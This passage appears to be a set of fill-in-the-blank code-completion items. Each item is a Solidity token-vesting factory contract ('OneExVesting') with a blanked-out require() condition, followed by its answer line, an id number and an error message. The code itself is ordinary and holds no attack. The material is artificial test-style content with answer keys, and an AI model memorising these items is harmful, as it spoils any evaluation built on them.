vestingDays, uint256 startTime, bool revokable ) public onlyRole(ADMIN) returns (bool) { require(account != address(0), "VestingFactory: account zero address"); require(_supportedAssets.contains(asset), "VestingFactory: asset not supported"); address _contract = create(_allVestings.length()); IERC20(asset).safeTransferFrom(msg.sender, _contract, amount); require(<FILL_ME>) require(_allVestings.add(_contract)); if (revokable) { require(_revokableVestings.add(_contract)); } accountVestings[account].vestings.push(_contract); emit NewVesting(_contract, account); return true; } /** * @notice Sets up vesting schedules for multiple users within 1 transaction. * @dev adds a new Schedule to the schedules mapping. * @param accounts an array of the accounts that the vesting schedules are being set up for. * Will be able to claim tokens after the cliff period. * @param amount an array of the amount of tokens being vested for each user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function multiVest( address[] calldata accounts, uint256[] calldata amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external returns (bool) { } /** * @notice Claim all vested tokens by msg.sender. */ function claimAll() public { } /** * @notice Revoke tokens from vesting by contract ADMIN (if revokable is true in schedule). * @dev Any outstanding tokens are returned to the beneficiary. * @param vestingContract vesting contract. * @param beneficiary address to send tokens. * @return bool success. */ function revoke(address vestingContract, address beneficiary) external onlyRole(ADMIN) returns (bool) { } /** * @notice Adds asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function addAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Remove asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function removeAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Create new contract with salt. */ function create(uint256 _salt) internal returns (address) { } /** * @notice Deploy new contract with salt. */ function deploy(bytes memory code, bytes32 salt) internal returns (address addr) { } /** * @notice Bytecode. */ function getBytecode() internal pure returns (bytes memory) { } /** * @notice Shows all claimable amount for specific account. * @param account the account that a vesting schedule is being set up for. * @return uint256 claimable amount for specific account. */ function claimableAmount(address account) public view returns (uint256){ } /** * @notice Lists all vesting contracts of account. * @param account the account that a vesting schedule is being set up for. * @return address[] array of account contracts. */ function vestingsOfAccount(address account) external view returns (address[] memory) { } /** * @notice Total amount of vestings. * @return uint256 total amount. */ function vestingsAmount() external view returns(uint256) { } /** * @notice Lists all vesting contracts. * @return address[] array of contracts. */ function allVestings() external view returns (address[] memory) { } /** * @notice Lists all revokable vesting contracts. * @return address[] array of contracts. */ function revokableVestings() external view returns (address[] memory) { } }
IVesting(_contract).vest(account,amount,asset,cliffDays,vestingDays,startTime,revokable)
193,359
IVesting(_contract).vest(account,amount,asset,cliffDays,vestingDays,startTime,revokable)
null
pragma solidity ^0.8.18; // SPDX-License-Identifier: MIT // ---------------------------------------------------------------------------- // 1ex Vesting factory contract // ---------------------------------------------------------------------------- import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; contract OneExVesting { using SafeERC20 for IERC20; address public owner; struct Schedule { address account; uint256 totalAmount; uint256 claimedAmount; uint256 startTime; uint256 cliffTime; uint256 endTime; address asset; bool revokable; bool revoked; } Schedule public schedule; event Claim(address indexed claimer, uint256 amount); event Vest(address indexed account, uint256 amount); event Revoked(address indexed beneficiary, uint256 amount); constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @notice Claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of days that the cliff will be present at. * @param vestingDays the number of days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external onlyOwner returns(bool) { } /** * @return Calculates the amount of tokens to distribute in time. * return uint256 all tokens to distribute. */ function calcDistribution() internal view returns (uint256) { } /** * @return Calculates claimable amount of tokens. * return uint256 claimable amount. */ function claimableAmount() public view returns (uint256) { } /** * @notice Claim vested tokens from VestingFactory. */ function claim() external onlyOwner { } /** * @notice Claim vested tokens if the cliff time has passed. */ function claimInternal() internal { } /** * @notice Allows a vesting schedule to be cancelled. * @dev Any outstanding tokens are returned to the beneficiary. * @param beneficiary the account for tokens transfer. */ function revoke(address beneficiary) external onlyOwner returns(bool) { } } interface IVesting { function vest(address account,uint256 amount,address asset,uint256 cliffDays,uint256 vestingDays, uint256 startTime, bool isRevokable) external returns (bool); function revoke(address beneficiary) external returns (bool); function claim() external; function claimableAmount() external view returns (uint256); } contract OneExVestingFactory is AccessControl { using Address for address; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _allVestings; EnumerableSet.AddressSet private _revokableVestings; EnumerableSet.AddressSet private _supportedAssets; bytes32 public constant ADMIN = keccak256("ADMIN"); struct Vestings{ address[] vestings; } mapping(address => Vestings) private accountVestings; event NewVesting(address indexed newContract, address indexed account); event AddAsset(address indexed _asset); event RemoveAsset(address indexed _asset); constructor() { } /** * @notice all claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be rugged or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) public onlyRole(ADMIN) returns (bool) { require(account != address(0), "VestingFactory: account zero address"); require(_supportedAssets.contains(asset), "VestingFactory: asset not supported"); address _contract = create(_allVestings.length()); IERC20(asset).safeTransferFrom(msg.sender, _contract, amount); require(IVesting(_contract).vest(account, amount, asset, cliffDays, vestingDays, startTime, revokable)); require(<FILL_ME>) if (revokable) { require(_revokableVestings.add(_contract)); } accountVestings[account].vestings.push(_contract); emit NewVesting(_contract, account); return true; } /** * @notice Sets up vesting schedules for multiple users within 1 transaction. * @dev adds a new Schedule to the schedules mapping. * @param accounts an array of the accounts that the vesting schedules are being set up for. * Will be able to claim tokens after the cliff period. * @param amount an array of the amount of tokens being vested for each user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function multiVest( address[] calldata accounts, uint256[] calldata amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external returns (bool) { } /** * @notice Claim all vested tokens by msg.sender. */ function claimAll() public { } /** * @notice Revoke tokens from vesting by contract ADMIN (if revokable is true in schedule). * @dev Any outstanding tokens are returned to the beneficiary. * @param vestingContract vesting contract. * @param beneficiary address to send tokens. * @return bool success. */ function revoke(address vestingContract, address beneficiary) external onlyRole(ADMIN) returns (bool) { } /** * @notice Adds asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function addAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Remove asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function removeAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Create new contract with salt. */ function create(uint256 _salt) internal returns (address) { } /** * @notice Deploy new contract with salt. */ function deploy(bytes memory code, bytes32 salt) internal returns (address addr) { } /** * @notice Bytecode. */ function getBytecode() internal pure returns (bytes memory) { } /** * @notice Shows all claimable amount for specific account. * @param account the account that a vesting schedule is being set up for. * @return uint256 claimable amount for specific account. */ function claimableAmount(address account) public view returns (uint256){ } /** * @notice Lists all vesting contracts of account. * @param account the account that a vesting schedule is being set up for. * @return address[] array of account contracts. */ function vestingsOfAccount(address account) external view returns (address[] memory) { } /** * @notice Total amount of vestings. * @return uint256 total amount. */ function vestingsAmount() external view returns(uint256) { } /** * @notice Lists all vesting contracts. * @return address[] array of contracts. */ function allVestings() external view returns (address[] memory) { } /** * @notice Lists all revokable vesting contracts. * @return address[] array of contracts. */ function revokableVestings() external view returns (address[] memory) { } }
_allVestings.add(_contract)
193,359
_allVestings.add(_contract)
null
pragma solidity ^0.8.18; // SPDX-License-Identifier: MIT // ---------------------------------------------------------------------------- // 1ex Vesting factory contract // ---------------------------------------------------------------------------- import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; contract OneExVesting { using SafeERC20 for IERC20; address public owner; struct Schedule { address account; uint256 totalAmount; uint256 claimedAmount; uint256 startTime; uint256 cliffTime; uint256 endTime; address asset; bool revokable; bool revoked; } Schedule public schedule; event Claim(address indexed claimer, uint256 amount); event Vest(address indexed account, uint256 amount); event Revoked(address indexed beneficiary, uint256 amount); constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @notice Claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of days that the cliff will be present at. * @param vestingDays the number of days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external onlyOwner returns(bool) { } /** * @return Calculates the amount of tokens to distribute in time. * return uint256 all tokens to distribute. */ function calcDistribution() internal view returns (uint256) { } /** * @return Calculates claimable amount of tokens. * return uint256 claimable amount. */ function claimableAmount() public view returns (uint256) { } /** * @notice Claim vested tokens from VestingFactory. */ function claim() external onlyOwner { } /** * @notice Claim vested tokens if the cliff time has passed. */ function claimInternal() internal { } /** * @notice Allows a vesting schedule to be cancelled. * @dev Any outstanding tokens are returned to the beneficiary. * @param beneficiary the account for tokens transfer. */ function revoke(address beneficiary) external onlyOwner returns(bool) { } } interface IVesting { function vest(address account,uint256 amount,address asset,uint256 cliffDays,uint256 vestingDays, uint256 startTime, bool isRevokable) external returns (bool); function revoke(address beneficiary) external returns (bool); function claim() external; function claimableAmount() external view returns (uint256); } contract OneExVestingFactory is AccessControl { using Address for address; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _allVestings; EnumerableSet.AddressSet private _revokableVestings; EnumerableSet.AddressSet private _supportedAssets; bytes32 public constant ADMIN = keccak256("ADMIN"); struct Vestings{ address[] vestings; } mapping(address => Vestings) private accountVestings; event NewVesting(address indexed newContract, address indexed account); event AddAsset(address indexed _asset); event RemoveAsset(address indexed _asset); constructor() { } /** * @notice all claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be rugged or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) public onlyRole(ADMIN) returns (bool) { require(account != address(0), "VestingFactory: account zero address"); require(_supportedAssets.contains(asset), "VestingFactory: asset not supported"); address _contract = create(_allVestings.length()); IERC20(asset).safeTransferFrom(msg.sender, _contract, amount); require(IVesting(_contract).vest(account, amount, asset, cliffDays, vestingDays, startTime, revokable)); require(_allVestings.add(_contract)); if (revokable) { require(<FILL_ME>) } accountVestings[account].vestings.push(_contract); emit NewVesting(_contract, account); return true; } /** * @notice Sets up vesting schedules for multiple users within 1 transaction. * @dev adds a new Schedule to the schedules mapping. * @param accounts an array of the accounts that the vesting schedules are being set up for. * Will be able to claim tokens after the cliff period. * @param amount an array of the amount of tokens being vested for each user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function multiVest( address[] calldata accounts, uint256[] calldata amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external returns (bool) { } /** * @notice Claim all vested tokens by msg.sender. */ function claimAll() public { } /** * @notice Revoke tokens from vesting by contract ADMIN (if revokable is true in schedule). * @dev Any outstanding tokens are returned to the beneficiary. * @param vestingContract vesting contract. * @param beneficiary address to send tokens. * @return bool success. */ function revoke(address vestingContract, address beneficiary) external onlyRole(ADMIN) returns (bool) { } /** * @notice Adds asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function addAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Remove asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function removeAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Create new contract with salt. */ function create(uint256 _salt) internal returns (address) { } /** * @notice Deploy new contract with salt. */ function deploy(bytes memory code, bytes32 salt) internal returns (address addr) { } /** * @notice Bytecode. */ function getBytecode() internal pure returns (bytes memory) { } /** * @notice Shows all claimable amount for specific account. * @param account the account that a vesting schedule is being set up for. * @return uint256 claimable amount for specific account. */ function claimableAmount(address account) public view returns (uint256){ } /** * @notice Lists all vesting contracts of account. * @param account the account that a vesting schedule is being set up for. * @return address[] array of account contracts. */ function vestingsOfAccount(address account) external view returns (address[] memory) { } /** * @notice Total amount of vestings. * @return uint256 total amount. */ function vestingsAmount() external view returns(uint256) { } /** * @notice Lists all vesting contracts. * @return address[] array of contracts. */ function allVestings() external view returns (address[] memory) { } /** * @notice Lists all revokable vesting contracts. * @return address[] array of contracts. */ function revokableVestings() external view returns (address[] memory) { } }
_revokableVestings.add(_contract)
193,359
_revokableVestings.add(_contract)
"VestingFactory: no vesting contracts"
pragma solidity ^0.8.18; // SPDX-License-Identifier: MIT // ---------------------------------------------------------------------------- // 1ex Vesting factory contract // ---------------------------------------------------------------------------- import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; contract OneExVesting { using SafeERC20 for IERC20; address public owner; struct Schedule { address account; uint256 totalAmount; uint256 claimedAmount; uint256 startTime; uint256 cliffTime; uint256 endTime; address asset; bool revokable; bool revoked; } Schedule public schedule; event Claim(address indexed claimer, uint256 amount); event Vest(address indexed account, uint256 amount); event Revoked(address indexed beneficiary, uint256 amount); constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @notice Claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of days that the cliff will be present at. * @param vestingDays the number of days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external onlyOwner returns(bool) { } /** * @return Calculates the amount of tokens to distribute in time. * return uint256 all tokens to distribute. */ function calcDistribution() internal view returns (uint256) { } /** * @return Calculates claimable amount of tokens. * return uint256 claimable amount. */ function claimableAmount() public view returns (uint256) { } /** * @notice Claim vested tokens from VestingFactory. */ function claim() external onlyOwner { } /** * @notice Claim vested tokens if the cliff time has passed. */ function claimInternal() internal { } /** * @notice Allows a vesting schedule to be cancelled. * @dev Any outstanding tokens are returned to the beneficiary. * @param beneficiary the account for tokens transfer. */ function revoke(address beneficiary) external onlyOwner returns(bool) { } } interface IVesting { function vest(address account,uint256 amount,address asset,uint256 cliffDays,uint256 vestingDays, uint256 startTime, bool isRevokable) external returns (bool); function revoke(address beneficiary) external returns (bool); function claim() external; function claimableAmount() external view returns (uint256); } contract OneExVestingFactory is AccessControl { using Address for address; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _allVestings; EnumerableSet.AddressSet private _revokableVestings; EnumerableSet.AddressSet private _supportedAssets; bytes32 public constant ADMIN = keccak256("ADMIN"); struct Vestings{ address[] vestings; } mapping(address => Vestings) private accountVestings; event NewVesting(address indexed newContract, address indexed account); event AddAsset(address indexed _asset); event RemoveAsset(address indexed _asset); constructor() { } /** * @notice all claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be rugged or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) public onlyRole(ADMIN) returns (bool) { } /** * @notice Sets up vesting schedules for multiple users within 1 transaction. * @dev adds a new Schedule to the schedules mapping. * @param accounts an array of the accounts that the vesting schedules are being set up for. * Will be able to claim tokens after the cliff period. * @param amount an array of the amount of tokens being vested for each user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function multiVest( address[] calldata accounts, uint256[] calldata amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external returns (bool) { } /** * @notice Claim all vested tokens by msg.sender. */ function claimAll() public { require(<FILL_ME>) require(claimableAmount(msg.sender) != 0, "VestingFactory: No avaliable tokens to withdraw"); for (uint256 i = 0; i < accountVestings[msg.sender].vestings.length; i++) { IVesting(accountVestings[msg.sender].vestings[i]).claim(); } } /** * @notice Revoke tokens from vesting by contract ADMIN (if revokable is true in schedule). * @dev Any outstanding tokens are returned to the beneficiary. * @param vestingContract vesting contract. * @param beneficiary address to send tokens. * @return bool success. */ function revoke(address vestingContract, address beneficiary) external onlyRole(ADMIN) returns (bool) { } /** * @notice Adds asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function addAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Remove asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function removeAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Create new contract with salt. */ function create(uint256 _salt) internal returns (address) { } /** * @notice Deploy new contract with salt. */ function deploy(bytes memory code, bytes32 salt) internal returns (address addr) { } /** * @notice Bytecode. */ function getBytecode() internal pure returns (bytes memory) { } /** * @notice Shows all claimable amount for specific account. * @param account the account that a vesting schedule is being set up for. * @return uint256 claimable amount for specific account. */ function claimableAmount(address account) public view returns (uint256){ } /** * @notice Lists all vesting contracts of account. * @param account the account that a vesting schedule is being set up for. * @return address[] array of account contracts. */ function vestingsOfAccount(address account) external view returns (address[] memory) { } /** * @notice Total amount of vestings. * @return uint256 total amount. */ function vestingsAmount() external view returns(uint256) { } /** * @notice Lists all vesting contracts. * @return address[] array of contracts. */ function allVestings() external view returns (address[] memory) { } /** * @notice Lists all revokable vesting contracts. * @return address[] array of contracts. */ function revokableVestings() external view returns (address[] memory) { } }
accountVestings[msg.sender].vestings.length!=0,"VestingFactory: no vesting contracts"
193,359
accountVestings[msg.sender].vestings.length!=0
"VestingFactory: No avaliable tokens to withdraw"
pragma solidity ^0.8.18; // SPDX-License-Identifier: MIT // ---------------------------------------------------------------------------- // 1ex Vesting factory contract // ---------------------------------------------------------------------------- import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; contract OneExVesting { using SafeERC20 for IERC20; address public owner; struct Schedule { address account; uint256 totalAmount; uint256 claimedAmount; uint256 startTime; uint256 cliffTime; uint256 endTime; address asset; bool revokable; bool revoked; } Schedule public schedule; event Claim(address indexed claimer, uint256 amount); event Vest(address indexed account, uint256 amount); event Revoked(address indexed beneficiary, uint256 amount); constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @notice Claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of days that the cliff will be present at. * @param vestingDays the number of days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external onlyOwner returns(bool) { } /** * @return Calculates the amount of tokens to distribute in time. * return uint256 all tokens to distribute. */ function calcDistribution() internal view returns (uint256) { } /** * @return Calculates claimable amount of tokens. * return uint256 claimable amount. */ function claimableAmount() public view returns (uint256) { } /** * @notice Claim vested tokens from VestingFactory. */ function claim() external onlyOwner { } /** * @notice Claim vested tokens if the cliff time has passed. */ function claimInternal() internal { } /** * @notice Allows a vesting schedule to be cancelled. * @dev Any outstanding tokens are returned to the beneficiary. * @param beneficiary the account for tokens transfer. */ function revoke(address beneficiary) external onlyOwner returns(bool) { } } interface IVesting { function vest(address account,uint256 amount,address asset,uint256 cliffDays,uint256 vestingDays, uint256 startTime, bool isRevokable) external returns (bool); function revoke(address beneficiary) external returns (bool); function claim() external; function claimableAmount() external view returns (uint256); } contract OneExVestingFactory is AccessControl { using Address for address; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _allVestings; EnumerableSet.AddressSet private _revokableVestings; EnumerableSet.AddressSet private _supportedAssets; bytes32 public constant ADMIN = keccak256("ADMIN"); struct Vestings{ address[] vestings; } mapping(address => Vestings) private accountVestings; event NewVesting(address indexed newContract, address indexed account); event AddAsset(address indexed _asset); event RemoveAsset(address indexed _asset); constructor() { } /** * @notice all claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be rugged or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) public onlyRole(ADMIN) returns (bool) { } /** * @notice Sets up vesting schedules for multiple users within 1 transaction. * @dev adds a new Schedule to the schedules mapping. * @param accounts an array of the accounts that the vesting schedules are being set up for. * Will be able to claim tokens after the cliff period. * @param amount an array of the amount of tokens being vested for each user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function multiVest( address[] calldata accounts, uint256[] calldata amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external returns (bool) { } /** * @notice Claim all vested tokens by msg.sender. */ function claimAll() public { require(accountVestings[msg.sender].vestings.length != 0, "VestingFactory: no vesting contracts"); require(<FILL_ME>) for (uint256 i = 0; i < accountVestings[msg.sender].vestings.length; i++) { IVesting(accountVestings[msg.sender].vestings[i]).claim(); } } /** * @notice Revoke tokens from vesting by contract ADMIN (if revokable is true in schedule). * @dev Any outstanding tokens are returned to the beneficiary. * @param vestingContract vesting contract. * @param beneficiary address to send tokens. * @return bool success. */ function revoke(address vestingContract, address beneficiary) external onlyRole(ADMIN) returns (bool) { } /** * @notice Adds asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function addAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Remove asset to the list supported assets. * @dev Return value of claimableAmount function may cause confusion if used more whan 1 asset. * @param _asset ERC20 contract address. */ function removeAsset(address _asset) external onlyRole(ADMIN) { } /** * @notice Create new contract with salt. */ function create(uint256 _salt) internal returns (address) { } /** * @notice Deploy new contract with salt. */ function deploy(bytes memory code, bytes32 salt) internal returns (address addr) { } /** * @notice Bytecode. */ function getBytecode() internal pure returns (bytes memory) { } /** * @notice Shows all claimable amount for specific account. * @param account the account that a vesting schedule is being set up for. * @return uint256 claimable amount for specific account. */ function claimableAmount(address account) public view returns (uint256){ } /** * @notice Lists all vesting contracts of account. * @param account the account that a vesting schedule is being set up for. * @return address[] array of account contracts. */ function vestingsOfAccount(address account) external view returns (address[] memory) { } /** * @notice Total amount of vestings. * @return uint256 total amount. */ function vestingsAmount() external view returns(uint256) { } /** * @notice Lists all vesting contracts. * @return address[] array of contracts. */ function allVestings() external view returns (address[] memory) { } /** * @notice Lists all revokable vesting contracts. * @return address[] array of contracts. */ function revokableVestings() external view returns (address[] memory) { } }
claimableAmount(msg.sender)!=0,"VestingFactory: No avaliable tokens to withdraw"
193,359
claimableAmount(msg.sender)!=0
"VestingFactory: not a revokable vesting contract"
pragma solidity ^0.8.18; // SPDX-License-Identifier: MIT // ---------------------------------------------------------------------------- // 1ex Vesting factory contract // ---------------------------------------------------------------------------- import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; contract OneExVesting { using SafeERC20 for IERC20; address public owner; struct Schedule { address account; uint256 totalAmount; uint256 claimedAmount; uint256 startTime; uint256 cliffTime; uint256 endTime; address asset; bool revokable; bool revoked; } Schedule public schedule; event Claim(address indexed claimer, uint256 amount); event Vest(address indexed account, uint256 amount); event Revoked(address indexed beneficiary, uint256 amount); constructor() { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @notice Claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of days that the cliff will be present at. * @param vestingDays the number of days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be revoked or not. * @return bool success. */ function vest( address account, uint256 amount, address asset, uint256 cliffDays, uint256 vestingDays, uint256 startTime, bool revokable ) external onlyOwner returns(bool) { } /** * @return Calculates the amount of tokens to distribute in time. * return uint256 all tokens to distribute. */ function calcDistribution() internal view returns (uint256) { } /** * @return Calculates claimable amount of tokens. * return uint256 claimable amount. */ function claimableAmount() public view returns (uint256) { } /** * @notice Claim vested tokens from VestingFactory. */ function claim() external onlyOwner { } /** * @notice Claim vested tokens if the cliff time has passed. */ function claimInternal() internal { } /** * @notice Allows a vesting schedule to be cancelled. * @dev Any outstanding tokens are returned to the beneficiary. * @param beneficiary the account for tokens transfer. */ function revoke(address beneficiary) external onlyOwner returns(bool) { } } interface IVesting { function vest(address account,uint256 amount,address asset,uint256 cliffDays,uint256 vestingDays, uint256 startTime, bool isRevokable) external returns (bool); function revoke(address beneficiary) external returns (bool); function claim() external; function claimableAmount() external view returns (uint256); } contract OneExVestingFactory is AccessControl { using Address for address; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _allVestings; EnumerableSet.AddressSet private _revokableVestings; EnumerableSet.AddressSet private _supportedAssets; bytes32 public constant ADMIN = keccak256("ADMIN"); struct Vestings{ address[] vestings; } mapping(address => Vestings) private accountVestings; event NewVesting(address indexed newContract, address indexed account); event AddAsset(address indexed _asset); event RemoveAsset(address indexed _asset); constructor() { } /** * @notice all claim vested tokens by account sending 0 coins to contract address. */ receive() external payable { } /** * @notice Sets up a vesting schedule for a set user. * @dev adds a new Schedule to the schedules mapping. * @param account the account that a vesting schedule is being set up for. Will be able to claim tokens after the cliff period. * @param amount the amount of tokens being vested for the user. * @param asset the asset that the user is being vested. * @param cliffDays the number of Days that the cliff will be present at. * @param vestingDays the number of Days the tokens will vest. * @param startTime the timestamp for when this vesting should have started. * @param revokable bool setting if these vesting schedules can be rugged or not. * @return bool 